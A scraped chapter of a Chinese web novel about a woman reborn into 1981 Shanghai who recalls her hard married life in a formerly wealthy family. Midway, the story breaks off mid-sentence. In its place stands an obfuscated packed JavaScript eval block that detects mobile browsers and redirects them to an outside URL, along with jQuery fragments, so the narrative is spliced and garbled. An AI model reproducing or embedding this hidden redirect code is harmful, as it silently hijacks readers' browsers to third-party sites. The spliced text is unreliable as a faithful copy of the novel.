1. 第 1 章
作品:《石库门一家人[八零]》 “醒了,醒了,我说的吧!不要紧的,就是低血糖。”
一个声音钻进陈秀珠的耳朵里,她睁开眼,眼前渐渐清晰,一张白白胖胖的脸凑到她面前。
看见这张脸,陈秀珠立马确认,自己真的死了。
这张脸的主人是弄堂里的老邻居,张木匠的老婆林嬢嬢。
当年旧城区改造,张木匠一家为了多拿点房子,搬到了郊区,老邻居十几年没见,等再见面是林嬢嬢生了子宫癌,请她帮忙介绍医生。
可惜太晚了,已经远处转移了,哪怕是找了知名专家,嬢嬢熬了两年多,还是没了。她还特地去送了嬢嬢一程。
“秀珠啊!头还有点晕是吧?”林嬢嬢问她。
陈秀珠摇了摇头,头不晕,就是她发现死去的世界,好像倒退到了八十年代初。
眼前的嬢嬢穿着格子两用衫,边上的大叔是蓝色中山装。
“嬢嬢,糖来了。”一只手递过来一粒留兰香奶糖。
看到那只手,再看那刚毅中带着憨厚的脸,陈秀珠更确定自己死得透透的。
这是邻居王冬生,他死在那场压力容器爆炸事故里,已经有三十多年了?
当年那家化工厂发生排污罐爆炸,市里调集了行业内技术能手去抢修,王冬生被抽调过去,在抢险过程中,储氯罐连环爆炸,他死了,留下一个瘸腿的老娘,还是自己照顾了老太太二十来年,为老太太养老送终的。
看来自己是真死了,也不知道会不会碰上那晦气的一家子?
林嬢嬢剥开糖纸把糖塞进陈秀珠嘴里:“吃颗糖,到边上去歇一歇,我来帮你排队买肉,大家都认识,不会介意的。”
还没弄清楚情况的陈秀珠被林嬢嬢搀扶到桥堍边的石墩子那里,她坐在石墩子上。
王冬生提着篮子放到她身边,陈秀珠低头看去,篮子里放着一把草头,一把菜苔,还有一个碗,碗里是一块豆腐。
“肉票和钱给林嬢嬢,她帮你买。”
陈秀珠低头看自己身上的衣服,是一件格子春秋衫,这件衣服,她记得是七九年春天,她拿到三八红旗手的奖金后买的,穿了好几年。
怎么死了之后,会穿这件衣服?
她从口袋里掏出一个钱包,打开来,拿出几张票证。
王冬生抽出了一张票面为“一市斤”的肉票,问:“买一斤后腿精肉,对吧?”
她下意识地点了点头,王冬生说:“今天后腿精肉八角八分,给我一块钱。”
陈秀珠拿出了一张一块钱,王冬生拿了往林嬢嬢那里走去。
陈秀珠嘴里含着牙膏味的奶糖,看着排着长队的副食品商店,这家店、这座桥,早已在城市变化中消失。
她纳闷:阳间已经送菜上门了,阴间怎么还停留在八十年代初,还要排队买肉?
这让她想起,宋家刚刚平反的时候。
宋家有点家底,但是有家底,肉还是凭票定量供应,得有人出来排队买。
宋家上上下下,都是老爷太太,少爷小姐,怎么可能跟一群棚户里的乡下人挤在一起排队?
只有她这个保姆家的孙女,凌晨四点,就得来副食品商店门前排队买肉。
副食品商店门口有人排长队,也吸引了很多拿着蔬菜来贩卖的农民,她顺带可以买点蔬菜。
篮子里就是她趁着排队的功夫买的蔬菜。
眼见林嬢嬢就要排到了,陈秀珠大声叫道:“嬢嬢,帮我买五花肉。”
“五花肉?”林嬢嬢有些不解。
这个时代的劳动人民都喜欢吃肥一点的肉,宋家人基本上都喜欢瘦肉,要么排骨要么精肉,她嫁进宋家后,在家里从来没吃过肥糯润滑的红烧肉。
甚至去饭店吃上一口,宋明哲也会说她还是穷人的胃,才会喜欢这种高糖高油的东西,爱吃红烧肉成了她出身低的凭证。
活着的时候受气,死了难道还管他们?
“我做红烧肉。”
“好。”
林嬢嬢买好了肉,过来放进她的篮子里,五花肉贵,九毛六分,嬢嬢把四分钱还给她。
“你这个身体,是该吃吃红烧肉了。”林嬢嬢提着菜篮子跟她一起往回走,“你们一大家子,他们坐在那里喝喝茶看看报,你要洗全家的衣服,一栋小楼要打扫,还要做一大家子的饭,还要去工厂上班。人是铁饭是钢,光吃没有油水的怎么行?”
“是啊!”陈秀珠点点头。
“我去红星买油条大饼,你等等我?你今天晕倒了,一个人走路,我不放心。”林嬢嬢说。
陈秀珠笑了笑,林嬢嬢还是这么热心。
“咕噜”一声,她的肚子响了起来,胃里空空的不适,让她想起了几十年前,物资紧缺的时候。
那时候,她每天早上四点半起床,先把一家子衣服分门别类地浸泡上,再把米浸泡好,等买菜回去,把封火过夜的煤球炉烧起来,烧上粥,出去洗衣服,洗到半当中,把煮粥的铝锅拿开,炒上当天一家子吃粥的小菜。
炒完小菜再出来洗衣服,等她洗完衣服晾好衣服,那一家子全都起来了,基本上都已经吃好了。
她刮一刮铝锅里剩下的那点粥,吃一口,小菜基本上是不会剩给她的。
饿着肚子,顶着星月出门买菜,做家务,最后肚里垫着些粥水,出门上班,直到中午食堂吃饭,才能填饱肚子。
“我去红星吃碗馄饨,吃饱了,就好了。”陈秀珠说道。
“就是说呀!怎么样也得先顾着自己。”林嬢嬢说道,“就算你不能生又怎么了?你们家明哲要是没有你,肯定去大西北了,他们那种身份,能不能回来,还说不定呢!你也别觉得自己欠他们宋家的。你爸的病是他们家治的,可你们家有四个儿女,对吧?怎么就拿你一个抵债了?”
往前几步就是红星饮食店,两人踏进店里,一起排队。
陈秀珠看见柜台后面,一排排竹牌写着今天供应的品类,她改了主意:“一碗咸豆腐浆,一两生煎。”
“七角五分,一两粮票。”
陈秀珠付钱,柜员扯了两张票给她。
林嬢嬢买好了大饼油条,她要先回去了,家里孩子等着吃早饭呢!
跟林嬢嬢道别,陈秀珠凭票领了生煎和豆浆,找了位子坐下,拿了碟子倒了点醋,吃了起来。
无论是豆浆还是生煎,都是久远记忆里的味道。
身边正在吃面的两位爷叔,聊着葛洲坝大江截流戗堤胜利合龙,说他们工厂生产工程用水轮机现在碰到了问题,到时候别拖了这个大工程的后腿。
阳间三峡都发电多少年了。阴间还在讨论葛洲坝?
两个生煎馒头下肚,肚子里有了东西,整个人都舒服了。
这种感觉不像是去阴间,倒像是回到了四十多年前。
她脑子里又冒出了嬢嬢的话,想起她和宋明哲的孽缘。
宋家是解放前的资本家,有两家纱厂,解放后他们家积极公私合营,即便是这样,到了那个年代,宋家依旧卷了进去,为了保住唯一的儿子,宋明哲写了报告,跟宋家划清界限。
宋家老爷和太太下放皖南,宋明哲和宋家老太太留在了上海。
到了七四年,宋明哲的身份再次被提及,上头将他放进了下放大西北的名单里。
这几年受尽苦楚的宋家老太太求到陈家,说宋明哲文弱,去大西北可能就活不下去了,求陈秀珠的奶奶救救宋明哲。
宋明哲不去大西北,只有一条路,娶一个工人阶级的老婆,成为工人阶级的家属。陈家刚好有陈秀珠这个刚满十八岁的姑娘。
那时候,工人阶级出身的姑娘,谁愿意嫁给一个资本家的儿子?况且陈秀珠十六岁被推荐上了化工学院,两年学习结束,刚刚进日化厂,是日化厂重点培养对象。
可宋家曾经救过她爸。
她爸小时候患阑尾炎,那时候穷人,急性阑尾炎发作,基本上就没命了。陈秀珠的奶奶在宋家做保姆,求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483652|201893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到了宋老太太面前。宋老太太心善,安排她爸去了西医医院,给她爸做了手术,她爸才活了下来。
现在人家用这份天大的恩情求上来,他们家自然没办法拒绝。
陈秀珠只能跟宋明哲领了证。有了工人阶级家属这个身份的庇护,宋明哲再次躲过了下放的命运。
这个时候的婚姻,不是父母做主,就是单位牵线,也谈不上什么情呀爱呀!
加上宋明哲自知成分差,对陈秀珠乃至陈家态度都不错,除了不会做家务之外,其他倒也没什么不好。
两人渐渐地过到了一起,这日子也就这么过了下来,直到恢复高考的消息传来,宋明哲要参加高考,陈秀珠自然支持。
宋明哲第一年没考上,第二年考上了上海外国语学院,读英文。
八零年宋家平反,不仅宋明哲的父母回了上海,上面也认定了他们家是具有先进性的民族资本家,将他们的洋房还了回来。
陈秀珠以为这是苦尽甘来,现实却是宋明哲的苦尽甘来,她的甘尽苦来。
以前,宋老太太怕连累宋明哲,基本上不跟他们小俩口来往,小夫妻俩住在日化厂宿舍,老太太带着宋明哲的妹妹住在。
小夫妻俩最多偷偷去看望一下老太太,不怎么接触。
可宋明哲的父母回来了,他们搬回宋家的第一天,宋家请了陈家一家子去吃饭。
她奶奶对宋家感恩戴德,一开口就是:“我们家秀珠什么都会做,里里外外一把好手。这些年老太太和先生太太都吃了太多苦,有什么就差使秀珠做,千万不要客气。咱们家的孩子都是做惯的。”
老太太高兴地拉着奶奶聊家常,奶奶受宠若惊,翻来覆去叮嘱陈秀珠要伺候老太太、公婆,照顾好小姑子。
这么一来,全家的衣服,陈秀珠洗,三层小楼陈秀珠打扫,全家的饭菜,陈秀珠烧。
宋明哲的父母都是有情调的人,按照宋母的说法,她在皖南乡下的时候,房间里都要插上一把乡间采摘的野花。宋父说他就算是下地干活,头还是要梳得齐齐整整。
真是作孽,陈秀珠却是个忙起来,头发随便扒拉两下的人。
好几次,宋明哲私下跟她说:“秀珠,你到底是宋家的媳妇,不能穿得这么随便,还有你的头发,留长发,去烫一烫,都改革开放了,谁还剪解放头?你看看姆妈,她在乡下吃了多少苦,也从来没有邋遢过。”
册那,他就知道他妈天天把自己收拾得山清水绿,却没想过,她妈早上六点半起床,七点半才出房间门,用了一个小时穿衣打扮。
在待人接物上,宋家人对她也颇有微词,但是他们家都是斯文人,所以不会明说,只会在她没有仪态地冲出冲进,跑上跑下的时候皱眉。
陈秀珠会因为他们嫌弃的眼神,而反思自己到底哪里错了。
“秀珠啊!难得的嘛,你也会来这里吃早饭。”
陈秀珠听见熟悉的声音,回过神来,抬头看去,是一对小夫妻,也是她的邻居。
这两人不是活得好好的?夫妻俩退休后,到处旅游,前两天刚回上海,她还在街上碰到过他们。
不可能就这么两天也死了吧?
“淑琴、耀辉,你们也来吃早饭?”
“是啊!他爸妈回乡下了,没人烧早饭。我们俩出来吃。”李淑琴说道。
普通人家长辈知道小辈贪睡,大多是长辈早起做早饭。
两人打断了陈秀珠的思绪,陈秀珠喝完了最后一口豆浆,站起来跟他们道别,往外走。
路上又看到了几个熟人,这几个人应该都活着。
看着路上开过的长辫子电车,看着在十字路口指挥交通的交警,有些恍惚。
这应该不是阴间吧?
公交站台边上,有个书包亭,陈秀珠停下,看着最上面的《新民晚报》上头写得清清楚楚“1981年3月18日”
一瞬间,她反应过来,她这是重生了,重生到了1981年!

